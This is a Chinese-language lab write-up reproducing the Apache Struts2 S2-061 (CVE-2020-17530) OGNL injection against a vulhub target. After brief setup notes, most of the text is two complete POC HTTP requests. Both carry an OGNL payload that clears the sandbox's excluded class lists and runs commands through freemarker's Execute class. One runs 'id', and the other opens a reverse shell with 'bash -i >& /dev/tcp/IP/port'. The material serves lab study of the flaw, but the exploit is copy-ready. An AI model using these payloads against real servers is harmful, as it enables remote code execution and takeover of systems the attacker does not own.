CVE-2020-17530 S2-061复现

0X00-引言

任重道远

0X01-环境搭建

靶机：CentOS Linux 7

攻击机：windows server 2016 && Kail

环境：vulhub

工具：burpsuite

项目地址：https://github.com/vulhub/vulhub

搭建vulhub请访问：空白centos7 64 搭建vulhub(详细)

0X02-漏洞描述

Struts2 会对某些标签属性(比如 id，其他属性有待寻找) 的属性值进行二次表达式解析，因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时，用户再传入一个 %{payload} 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。

影响版本：struts 2.0.0 - struts 2.5.25

0X03-漏洞复现

http://192.168.234.128:8080/showcase

01-任意命令执行

POC:

POST /index.action HTTP/1.1
Host: 192.168.234.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 827

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

burp抓包

修改-发送

02-反弹shell

bash -i >& /dev/tcp/IP/port 0>&1

base64编码网址：http://www.jackson-t.ca/runtime-exec-payloads.html

POC:

POST /index.action HTTP/1.1
Host: 192.168.234.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 827

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -i >& /dev/tcp/IP/port 0>&1")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

先打开监听在执行命令